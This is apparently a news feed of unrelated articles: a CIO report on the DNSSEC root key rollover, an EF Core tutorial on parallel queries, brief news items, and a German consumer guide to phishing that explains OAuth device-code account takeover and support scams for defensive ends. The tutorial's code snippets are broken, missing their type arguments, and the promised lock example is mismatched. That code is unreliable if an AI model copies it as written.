“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. 



The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. 



“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”



Independent technology analyst Carmi Levy says that CIOs need to take this event very seriously. 



“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”



Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”



The DNSSEC update itself is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. 



The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”



Expect nearly every enterprise to be impacted



Kim Davies, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. 



But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. 



“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”



As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”



Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”



Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. 



“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”



Sanchit Vir Gogia, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.



“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”



“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”



It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. 



“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” Justin Greis, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”



Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. 



Potentially widespread fallout



A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. 



“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”



Greis adds that many enterprises will discover in January problems created by their own automation.



“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”



The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.



Cricket Liu, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.



“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”



Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. 



Impossible to predict what will happen



One of the top network experts on DNS effects in enterprises is Geoff Huston, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.



Huston says it is difficult to project what will happen in January until it happens.



“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.



As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. 



“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”



As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. 



“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”



How to execute queries in parallel using EF Core
Fri, 24 Jul 2026 11:04:59 +0200

		
					  
						




EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thread-safe. Hence, if you share DbContext instances between multiple threads, you will often encounter data corruption issues and the InvalidOperationException.



In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can download Visual Studio 2026 here.



Executing EF Core queries in parallel – the problem



When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example. 



Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code. 



public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task logsTask    = productService.GetRecentLogsAsync();
    Task    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}




In the preceding code snippet, there are four read operations that are executed by four different Task instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by usingTask.WhenAll, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new Dashboard instance.



If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.



However, there is a danger with the above approach. If you run multiple operations on the same DbContext instance, you will see an InvalidOperationException with the following message:




A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same DbContext instance; instance members are not guaranteed to be thread-safe.




Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you await several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an InvalidOperationException. To run queries in parallel, you must give each task its own connection or context.



Why DbContext isn’t thread-safe – and how to work around it



The DbContext class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same DbContext instance. This design approach creates inherent challenges when you use the same DbContext instance across multiple threads. If DbContext were thread-safe, extensive locking would be required, which would degrade data access performance.



This stateful design of DbContext makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.



The change tracker is one of the most important components of DbContext in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the SaveChanges() method on the DbContext instance.



To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we could accomplish this by wrapping a shared DbContext instance inside a thread-safe block using the lock keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below. 



using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products => Set();
}




However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use IDbContextFactory , which creates fresh DbContext instances on demand. Calling its CreateDbContext() method is cheap and produces a fresh, isolated context every time. 



The following code snippet shows how you can register an instance of type IDbContextFactory as a singleton. You can safely call this code from any thread.



builder.Services.AddDbContextFactory(options =>
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));




Executing EF Core queries in parallel – the solution



Now let’s see how we can put IDbContextFactory to work. The following code illustrates a class named ProductService that uses a factory to create DbContext instances for each scope of work.



public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        => _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}




Note that ProductService has two methods, GetByIdAsync and UpdateStockQuantityAsync. An instance of the DbContext class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the GetByIdAsync method while thread T2 executes the UpdateStockQuantityAsync method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.



Consider the following code that executes a read operation and an update operation in two separate tasks. 



public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }




The Task.WhenAll method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own DbContext instance internally. Therefore the read operation and the update operation use independent DbContext instances.



Use DbContext pooling to reduce allocation cost



Although creating DbContext instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context. 



builder.Services.AddPooledDbContextFactory(options =>
    options.UseSqlServer(connectionString));




A call to AddDbContext() will register a DbContext instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the DbContext will not always suffice.



You will need a factory to create instances of DbContext when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.



Key takeaways




If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.



You cannot execute multiple queries in parallel in EF Core using the same DbContext instance.



The IDbContextFactory enables you to create a DbContext instance for each thread, thereby enabling you to work with these instances in isolation.



Although using a DbContext pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.




Russian APT Laundry Bear perfects zero-click phishing attack
Fri, 24 Jul 2026 11:04:01 +0200
A newly identified Russian state threat actor is using a novel zero-click phishing technique, likely developed with the help of an AI, to target Western users of Zimbra software products


Trump Endorsed the MyPillow Guy as Minnesota Governor. The State GOP Isn’t Buying It
Fri, 24 Jul 2026 11:03:46 +0200
After Trump publicly backed pillow salesman turned election denier Mike Lindell for governor of Minnesota, the local GOP pushed back strongly.


Netflix testet wieder kostenlose Probeabos – bis zu 30 Tage gratis
Fri, 24 Jul 2026 11:03:16 +0200





Ein Netflix-Abo hat mittlerweile so gut wie jeder, doch der eine oder andere wartet vielleicht noch auf eine Möglichkeit, das Streaming-Angebot kostenlos zu testen. Das war seit den Anfängen von Netflix nicht mehr möglich, doch jetzt gibt es wieder einen kostenlosen Probezeitraum.



Bis zu 30 Tage können Sie den Streamingtest jetzt kostenlos nutzen. Teilweise werden auch nur 14 Tage angeboten, der Gratis-Zeitraum scheint also je nach Standort oder genutztem Browser zu variieren. Auf der Webseite von Netflix Deutschland wurden uns auch nur 14 Tage für 0 Euro angezeigt. Es kann aber helfen, wenn Sie auf ein anderes Gerät wechseln oder Cookies löschen.






Wichtig: Das Angebot gilt explizit nur für Neukunden, nicht für wiederkehrende Abonnenten. Allerdings ist es recht einfach, diesen Umstand zu umgehen, wenn Sie sich einfach mit einer anderen E-Mail-Adresse als zuvor registrieren. Dann haben Sie zwar keinen Zugriff auf Ihren alten Account inklusive persönlicher Daten, Listen und Streaming-Historie, doch das ist sicher zu verschmerzen.



Nach Ablauf des Probezeitraums müssen Sie sich für ein Abo entscheiden (oder vorher kündigen). Zur Wahl stehen Standard mit Werbung für 4,99 Euro monatlich, Standard ohne Werbung für 13,99 Euro monatlich oder Premium für 19,99 Euro monatlich.



Warum genau Netflix gerade jetzt ein Probe-Abo wieder einführt, ist nicht ganz klar. Vermutlich versucht der Anbieter aber, neue Abonnenten dazu zu gewinnen, nachdem die Zahlen zuletzt stagnierten. Zwar ist Netflix der größte Anbieter für Streaming, doch die Konkurrenz schläft nicht. Seit Januar 2026 gibt es beispielsweise auch HBO Max in Deutschland, das mit großen Namen wie Game of Thrones, House of the Dragon, Harry Potter oder Superman wirbt.



Eine Übersicht aller wichtigen Streaming-Dienste finden Sie hier, inklusive Preisen, Vorteilen und Nachteilen.




Phishing-Fallen: KI-Mails, QR-Codes, falsche Warnungen – so schützen Sie sich
Fri, 24 Jul 2026 10:47:37 +0200





Zwei große Änderungen hat es in den vergangenen Jahren bei Phishing-Angriffen gegeben: Die Kriminellen erstellen mithilfe von generativer KI sprachlich fast perfekte Mails, die in Stil, Struktur und Tonalität kaum noch von legitimen Nachrichten zu unterscheiden sind. Wo früher holpriges Deutsch sofort Misstrauen geweckt hat, liest sich heute eine Phishing-Mail wie eine echte Mitteilung von Microsoft, einer Bank oder einem Paketdienst.



Auch das Design wirkt meist höchst professionell. Zum anderen sind auch die technischen Tricks beim Datendiebstahl heute höher entwickelt. Einige Maschen umgehen sogar eine Zwei-Faktor-Authentifizierung. Das Ziel der Angreifer bleiben vor allem Zugangsdaten, Session-Tokens und persönliche Infos.



1. Microsoft-365-Log-in-Falle trickst Zwei-Faktor-Anmeldung aus



Eine neue Angriffsmethode verwendet den originalen Microsoft-Anmeldedialog und kommt entsprechend fast ohne gefälschte Webseiten aus. Die Kriminellen nutzen dafür den Oauth-Device-Code-Flow. Das ist ein Anmeldeverfahren für Geräte oder Programme, die keinen brauchbaren Browser oder keine komfortable Texteingabe bieten, etwa Smart-TVs, IoT-Geräte, Drucker oder CLI-Tools. 



Offiziell heißt er „OAuth 2.0 Device Authorization Grant“. Mit der Methode lassen sich auch Konten übernehmen, die mit einer Zwei-Faktor-Authentifizierung geschützt sind.



Die Kriminellen schicken an ihre Opfer eine Phishing-Nachricht und geben vor, das Gerät der Opfer müsste für den Log-in ins Microsoft-365-Konto neu autorisiert werden. Die Nachrichten beginnen meist harmlos, etwa mit „Ihre Sitzung ist abgelaufen“, und bieten einen Link zur Neuanmeldung. Wenn das Opfer dem Link in der Nachricht folgt, landet es zunächst auf einer gefälschten Website, schließlich aber beim offiziellen Microsoft-Authentifizierungsverfahren für Geräte und Anwendungen (Oauth-Device-Code-Flow).


Bei diesem Trick übernehmen die Angreifer auch Konten, die mit einem zweiten Faktor geschützt sind. Dafür kombinieren sie die echten Authentifizierungsseiten von Microsoft und Phishing-Webseiten.
Proofpoint



Es handelt sich um echte Microsoft-Meldungen und Webseiten. Allerdings autorisiert das Opfer nicht den Zugang zu seinem eigenen PC oder Smartphone, sondern eine Anwendung der Kriminellen. Diese bekommen nach der Freigabe durch das getäuschte Opfer einen Access-Token. Damit kann die feindliche Anwendung per API auf das Microsoft-Konto zugreifen, ohne dass noch einmal ein Passwort eingegeben werden muss.



Übrigens: Die meisten dieser Angriffe verstecken den Link zur gefälschten Website in einem QR-Code. Dieser entgeht den Spam-Filtern eher als ein üblicher Link, und es lässt die meisten Opfer vom PC auf das Smartphone wechseln. 



Auf diesem ist es wegen des kleineren Bildschirms und oft fehlender Sicherheits-Software noch wahrscheinlicher, dass das Opfer die Täuschung nicht bemerkt. Eine ausführliche Analyse der Angriffe auf Microsoft-365-Konten haben die Sicherheitsexperten von Proofpoint veröffentlicht.



2. Support-Masche: Ihr Computer ist gesperrt & Co.



Die Support-Masche ist zwar nicht neu, funktioniert aber nach wie vor: Noch immer fallen zahlreiche Menschen auf die perfide Betrugsstrategie herein. Zu den prominenten Opfern zählt Bundestagspräsidentin Julia Klöckner. 



Mutmaßlich staatlich organisierte Angreifer kontaktierten sie über den Messenger-Dienst Signal und gaben sich als vermeintliche Signal-Support-Mitarbeiter aus. Unter einem Vorwand forderten sie Klöckner und weitere Politiker auf, ihre PIN einzugeben. Dadurch erlangten die Angreifer Zugriff auf die Signal-Konten der Betroffenen – und damit auf private Chats und Kontakte.



Das Bundesamt für Verfassungsschutz und das Bundesamt für Sicherheit in der Informationstechnik (BSI) haben gemeinsam einen Leitfaden veröffentlicht, der potenziellen Opfern hilft zu prüfen, ob ihr Signal-Konto übernommen wurde.


Phishing mit der Support-Masche. Durch eine vorgetäuschte Windows- oder Defender-Warnung werden Sie zu einem Telefongespräch mit den Angreifern gedrängt.
Bundesnetzagentur



Ebenfalls weiterhin verbreitet sind Angriffe durch angebliche Microsoft-Support-Mitarbeiter. Die Betrüger kontaktieren ihre Opfer per Telefon, E-Mail oder über gefälschte Pop-up-Warnungen im Browser. 



Dabei behaupten sie, der Windows-PC habe ein Sicherheitsproblem – etwa sei der Computer gesperrt oder mit Schadsoftware infiziert. Anschließend versuchen sie, die Betroffenen zur Installation einer Fernwartungssoftware oder eines vermeintlichen Sicherheitstools zu bewegen. Tatsächlich erhalten die Angreifer dadurch oft vollständigen Zugriff auf den Rechner.



3. Gefälschter Microsoft Defender warnt



Der Microsoft Defender ist ein Windows-Bordmittel und schützt PCs gegen alle bekannten PC-Viren. Entsprechend alarmierend ist für viele Nutzer eine Warnung dieses Antiviren-Tools. Eine gefälschte Form dieser Warnung erscheint mal per E-Mail, mal als Pop-up im Browser. In diesen Nachrichten wird behauptet, der Schutz des Defenders müsse kostenpflichtig erneuert werden. In der Folge werden die Nutzer auf gefälschte Shop-Webseiten geleitet, die eine Zahlung für einen Virenschutz verlangen.



Grundsätzlich gilt: Der Microsoft Defender ist auf Privat-PCs ein Bordmittel und kostenlos in Windows enthalten. Eine Zahlung ist nicht nötig. Sollte die Warnung per Mail bei Ihnen landen, löschen Sie diese einfach. Schlägt sie als Pop-up im Browser auf, schließen Sie einfach das Browser-Fenster, notfalls mit der Tastenkombination „Alt+F4”. 



Der Antivirenspezialist Norton hat eine Anleitung veröffentlicht, die erklärt, wie sich solche Pop-up-Warnungen im Browser beseitigen lassen, falls sie sich im System festgesetzt haben.



4. Microsoft-Onedrive: Cloud-Phishing über Freigaben



Cloud-Dienste wie Onedrive von Microsoft nutzen viele Windows-Nutzer mehrmals täglich. Genau deshalb sind sie ein attraktives Ziel für Phishing. Statt klassischer E-Mails mit Dateianhängen erhalten die Nutzer Freigabe-Benachrichtigungen mit einem Betreff wie „Dokument wurde mit Ihnen geteilt“. Der Inhalt wirkt meist harmlos und oft beruflich relevant: Rechnungen, Projektpläne, Gehaltslisten oder interne Dokumente.



Besonders tückisch ist die Kombination aus echten und gefälschten Elementen. Manche Angriffe nutzen tatsächlich legitime Cloud-Plattformen, bieten dort aber manipulierte Dokumente an. Das Ziel dieser Angriffe sind mehrheitlich die Log-in-Daten der Opfer zu Ihren Cloud- und Mail-Konten. Diese werden dann von den Angreifern übernommen und etwa für neue Phishing-Attacken genutzt.



5. Lieferdienste, Lieferdienste und noch mal Lieferdienste



Phishing im Namen von Paketdiensten gehört zu den stabilsten Angriffsmustern überhaupt und wird gleichzeitig immer ausgefeilter. Der Grund ist die hohe Alltagstauglichkeit: Fast jeder erwartet regelmäßig Lieferungen und ist deshalb kaum misstrauisch, wenn eine Mail, SMS oder Whatsapp zum Thema Paketversand eintrudelt. Moderne Varianten enthalten nicht nur einfache Textlinks, sondern vollständige Tracking-Systeme.


Hier sehen Sie vier Schritte eines vorgeblichen Lieferdienstes, der Ihnen ein Paket zustellen möchte. In weiteren Schritten sollen Sie Ihr Kundenkonto mit persönlichen Daten vervollständigen und eine Expresslieferung bezahlen.
Arne Arnold



Diese Seiten sind dynamisch aufgebaut und simulieren echte Logistikprozesse. Beim Sendungsverlauf heißt es dann etwa: „Zustellung fehlgeschlagen – bitte Adresse bestätigen“ oder „Letzte Möglichkeit zur Terminänderung“. Besonders kritisch ist die Kombination aus Zeitdruck und Kontext. Wer Opfer eines solchen Angriffs wird, gibt meist seine Log-in-Daten für Shopping- oder Zahlungsdienste preis. Oder er überweist den Angreifern direkt Geld, da angeblich Steuern, Bearbeitungsgebühren oder ein Expresszuschlag fällig sind.


Eine Phishing-Webseite eines vorgeblichen Lieferdienstes, die hier eine Nachzahlung abrechnen möchte, bevor das Paket zugestellt werden kann.
Arne Arnold



Übrigens: Ab dem 1. Juli 2026 gibt es zusätzliche Abgaben auf Sendungen aus Nicht-EU-Ländern. Für Waren unter 150 Euro sind dann pauschal 3 Euro Zollgebühr und eine Einfuhrumsatzsteuer fällig. Einige Kurierdienste verlangen zusätzlich eine Servicepauschale für diese Zollanmeldung. Über die genauen Kosten informiert eine Seite der Verbraucherzentrale NRW. Es lohnt sich, die tatsächlichen Kosten zu kennen, denn es ist wahrscheinlich, dass zu diesem Termin vermehrt Phishing-Mails zu diesem Thema versendet werden.



6. Phishing zu Online-Banking gibt es immer



Phishing zum Online-Banking gibt es fast schon so lange wie das Online-Banking selbst. Die Bedrohungslage ist aber so angespannt wie nie, denn die Angriffe sind nun wirklich zahlreich. Über die neuesten Phishing-Fallen informieren unter anderem die Verbraucherzentralen.



Beispiele aus dem Mai 2026 lauten etwa so: „Bestätigung Ihrer Mobilfunknummer erforderlich“. Absender ist vorgeblich die Easybank. Eine Fälschung von Commerzbank-Mails warnt vor einem fälligen „Photo-TAN Update“, bei dem ein „einmaliger Abgleich der Zugangsdaten“ nötig ist. 



Andere Phishing-Mails geben vor, von der Deutschen Bank zu sein, und fordern eine Reaktivierung des „photoTAN-Sicherheitszertifikats“. Auch Kunden der DKB erhielten im Mai Phishing-Mails.


Eine aktuelle Phishing-Mail, die auf Kunden der Commerzbank abzielt. Im Text wird ordentlich Druck aufgebaut. Wer nicht reagiert, verliert angeblich „am nächsten Werktag“ den Zugriff auf sein Bankkonto.
Verbraucherzentrale



Sollten Sie eine Mail von Ihrer Bank bekommen, klicken Sie auf keinen Fall auf einen der Links in dieser Mail. Wenn Sie sich unsicher sind, ob Sie reagieren sollen, rufen Sie die Website Ihrer Bank über Ihren Browser auf. 



Sollte es tatsächlich ein Anliegen der Bank geben, wird es Ihnen nach dem Einloggen in Ihr Online-Konto angezeigt. Oder Sie rufen Ihre Bank einfach per Telefon an und fragen, ob Informationen von Ihnen benötigt werden.



7. Phishing per Post: Kreditbetrug per Postident-Verfahren



Diese Phishing-Angriffe erreichen Sie per Post in Ihrem echten Briefkasten. Die Briefe geben vor, von Ihrer Bank zu stammen, und fordern Sie auf, Ihre Daten erneut per Postident zu bestätigen. Postident ist ein Verfahren der Post, mit dem Sie Ihre Identität gegenüber anderen, etwa einer neuen Bank oder einem Kreditinstitut, bestätigen können. Wer das beigefügte Schreiben nutzt, legitimiert in der Regel einen hohen Kredit bei einer anderen Bank.



Schäden von 15.000 bis 25.000 Euro sind hier keine Seltenheit. Vorangegangen ist meist ein Diebstahl Ihrer genauen Daten (Postadresse, Hausbank, Arbeitgeber, Verdienst), den die Angreifer dann nutzen. An die Daten kommen die Kriminellen etwa über gefälschte Wohnungsinserate bei Immoscout24 oder ähnlichen Portalen. Wer sich auf eine Wohnung oder ein Haus mit Gehaltszetteln und weiteren Angaben bewirbt, hat bereits alle wichtigen Daten für den Postident-Betrug verraten. Seien Sie beim Postident-Verfahren stets besonders vorsichtig. Konkrete Tipps lesen Sie hier.



Sicherheitstipps: Phishing erkennen und blockieren



An diesen Merkmalen erkennen Sie betrügerische Nachrichten:




Unverlangter Kontakt: Sie erhalten eine E-Mail, Whatsapp oder SMS über eine Gutschrift, eine Lastschrift oder andere finanzielle Ansprüche, obwohl Sie aktuell keine Buchung storniert oder reklamiert haben.



Zeitdruck: Die Nachricht suggeriert dringenden Handlungsbedarf und fordert zur schnellen Reaktion auf.



Verdächtige Links: Die Links in der Nachricht sind hinter einem QR-Code maskiert, führen zu unpassenden Domains oder sind ungewöhnlich lang.



Aufforderung zur Dateneingabe: Seriöse Unternehmen fordern in Nachrichten oder Mails nur äußerst selten zur Eingabe sensibler Daten auf.



Unpersönliche Anrede: Oft fehlt die namentliche Ansprache oder es werden generische Formulierungen verwendet.




Diese Maßnahmen schützen vor Phishing-Fallen:




E-Mail, SMS und Whatsapp & Co. sind keine geschlossenen Nachrichtenkanäle: Sie müssen damit rechnen, auch betrügerische Nachrichten zu erhalten.



Misstrauen Sie Links in Nachrichten: Klicken Sie keine Links an und scannen Sie keine QR-Codes, wenn Log-in-, Zahlungs- oder Sicherheitsaufforderungen in der Mail stehen. Öffnen Sie den jeweiligen Dienst im Browser über die manuelle Eingabe der Adresse.



Nutzen Sie Browser und Passwortmanager als Frühwarnsystem: Wenn Ihr Passwortmanager Ihre Log-in-Daten auf einer Webseite nicht einfügen möchte, dann ist die Domain vermutlich gefälscht. Achten Sie zudem auf die Warnungen Ihres Browsers.



MFA aktivieren: Nutzen Sie immer eine Zwei- oder Multifaktor-Authentifizierung, wenn diese angeboten wird. Vor allem Passkeys erhöhen die Sicherheit.



Remote-Support misstrauen: Installieren Sie keine Fernwartungs-Tools, nachdem Sie unaufgefordert kontaktiert wurden.



Freigaben hinterfragen: Wenn Sie Freigaben für Dateien in Cloud-Speichern erhalten, kontaktieren Sie zunächst den Absender, idealerweise telefonisch.




Infos zu aktuellen Angriffen: Informieren Sie sich über Phishing-Kampagnen etwa bei der Verbraucherzentrale NRW.



Als letzte Verteidigungslinie lassen sich Antivirenprogramme, Browserschutz und Spezial-Tools einsetzen:




Antivirus: Große Sicherheits-Suiten wie G Data Internet Security filtern Phishing-Mails heraus, bevor sie diese Nachrichten öffnen.



Browser-Schutz: Browser von Sicherheitsanbietern blockieren viele aktuelle Phishing-Seiten, etwa der KI-Browser Norton Neo.



Spezial-Tools: KI-Chatbots wie Scamio von Bitdefender begutachten verdächtige Nachrichten und warnen vor gefährlichen Inhalten.



Einen guten Phishing-Schutz erhalten Sie beispielsweise über Browser von Sicherheitsanbietern wie hier dem Browser Norton Neo.
Arne Arnold




13 clevere USB-C-Gadgets, die viel mehr können, als nur Ihr Handy aufzuladen
Fri, 24 Jul 2026 10:03:52 +0200





Ich weiß nicht, wie es in Ihren Schubladen aussieht, aber meine sind voll mit Kabeln, die ich wahrscheinlich nie wieder benutzen werde, weil die Technologie sich ziemlich weiterentwickelt hat. Zum Glück scheint sich USB-C durchzusetzen, denn es gibt keinen falschen Weg, diese Dinger anzuschließen. Aber nicht nur Smartphones, Tablets und Laptops verwenden diese Anschlüsse, sondern auch eine lange Liste von Gadgets.



Wir haben den Markt nach versteckten Perlen durchforstet: Gadgets, bei denen Sie denken werden: “Wow, ich wusste gar nicht, dass ich das brauche, aber es wird mein Leben so viel einfacher machen!” Schauen wir uns also an, mit welchen coolen Geräten Sie Ihre Typ-C-Kabel und -Anschlüsse nutzen können.



heat it Insektenstichheiler


PCWelt/heat it/Amazon



Wer im Sommer oder Urlaub oft von Mücken geradezu heimgesucht wird, wird sich besonders über dieses geniale Gadget freuen: Dieses winzige Gerät, das sich einfach per USB-C mit Ihrem Smartphone verbinden lässt, kann mit gezielter Wärme den Juckreiz von Stichen und Insektenbissen deutlich reduzieren.



Ähnlich wie größere Varianten, etwa diesen hier von Beurer, muss man den kleinen Stichheiler von heat it einfach nur per App aufladen und dann auf den Stich halten. Die Hitze erledigt dann den Rest und zersetzt die Proteine, die im Mückenstich dafür sorgen, dass die Stelle anschwillt, juckt und schmerzt. Ein echtes Must-have für den Sommer, und es kostet nicht mal 25 Euro.



Mini-Ventilator


KIMMOO / Amazon / PC-WELT



